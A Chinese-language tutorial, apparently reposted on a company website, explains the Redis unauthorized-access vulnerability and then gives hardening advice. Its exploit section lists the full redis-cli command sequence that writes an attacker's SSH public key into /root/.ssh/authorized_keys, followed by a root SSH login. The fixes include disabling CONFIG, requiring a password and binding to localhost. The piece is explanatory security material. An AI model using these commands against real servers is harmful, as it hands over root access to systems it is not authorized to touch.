• 企业400电话
  • 网络优化推广
  • AI电话机器人
  • 呼叫中心
  • 全 部 栏 目

    网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    关于Redis未授权访问漏洞利用的介绍与修复建议
    POST TIME:2021-10-18 23:47

    前言

    本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧。

    一、漏洞介绍

    Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

    漏洞描述

    部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

    利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

    二、漏洞利用

    首先在本地生产公私钥文件:

    $ ssh-keygen –t rsa

    然后将公钥写入 foo.txt 文件

    $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

    连接 Redis 写入文件

    $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
    $ redis-cli -h 192.168.1.11
    $ 192.168.1.11:6379> config set dir /root/.ssh/
    OK
    $ 192.168.1.11:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
    OK
    $ 192.168.1.11:6379> save
    OK

    这里讲解下,这里设定了crackit的键值为公钥,并通过redis命令变更Redis DB 文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥。

    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

    $ ssh –i id_rsa root@192.168.1.11

    可远程利用自己的私钥登录该服务器。

    刚刚我们提到公钥登录和Redis持久化存放数据操作,这里简单讲下原理

    详细讲解ssh登录–公钥登录

    SSH提供了公钥登录,可以省去输入密码的步骤。

    所谓"公钥登录",原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。

    这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:

    $ ssh-keygen

    运行上面的命令以后,系统会出现一系列提示,可以一路回车。其中有一个问题是,要不要对私钥设置口令(passphrase),如果担心私钥的安全,这里可以设置一个。

    运行结束以后,在$HOME/.ssh/目录下,会新生成两个文件:id_rsa.pub和id_rsa。前者是你的公钥,后者是你的私钥。

    通常这时再输入下面的命令,将公钥传送到远程主机host上面:

    $ ssh-copy-id user@host

    authorized_keys文件,远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。

    详细相关的Redis持久化命令

    Redis支持2种持久化策略:snapshot方式和commandlog方式,前者通过将当前内存数据快照周期性写入RDB文件来实现;后者通过在log中记录Redis进程收到的写操作来实现,下次Redis重启时,回放commandlog来恢复数据状态。

    这里使用RDB文件写入SSH key文件,需要设置以下两个 RDB相关配置

    dbfilename

    指定RDB文件名,默认为dump.rdb

    dir

    指定RDB文件存放目录的路径,若包含多级路径,则相关父路径需事先mkdir出来,否则启动失败。

    set(key, value):给数据库中名称为key的string赋予值value

    最后Client使用save命令通知redis做一次快照持久化

    修复建议/安全建议

    1.禁止一些高危命令

    修改 redis.conf 文件,添加

    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""

    来禁用远程修改 DB 文件地址

    2.以低权限运行 Redis 服务

    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

    $ groupadd -r redis  useradd -r -g redis redis

    3.为 Redis 添加密码验证

    修改 redis.conf 文件,添加

    requirepass mypassword

    4.禁止外网访问 Redis

    修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

    bind 127.0.0.1

    5.保证 authorized_keys 文件的安全

    为了保证安全,您应该阻止其他用户添加新的公钥。

    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

    $ chmod 400 ~/.ssh/authorized_keys

    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

    # chattr +i ~/.ssh/authorized_keys

    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

    # chattr +i ~/.ssh

    注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

    总结

    以上就是这篇文章的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

    您可能感兴趣的文章:
    • python脚本实现Redis未授权批量提权
    • Redis未授权访问配合SSH key文件利用详解
    上一篇:Redis实现分布式锁的几种方法总结
    下一篇:深入理解redis分布式锁和消息队列
  • 相关文章
  • 

    关于我们 | 付款方式 | 荣誉资质 | 业务提交 | 代理合作


    © 2016-2020 巨人网络通讯

    时间:9:00-21:00 (节假日不休)

    地址:江苏信息产业基地11号楼四层

    《增值电信业务经营许可证》 苏B2-20120278

    X

    截屏,微信识别二维码

    微信号:veteran88

    (点击微信号复制,添加好友)

     打开微信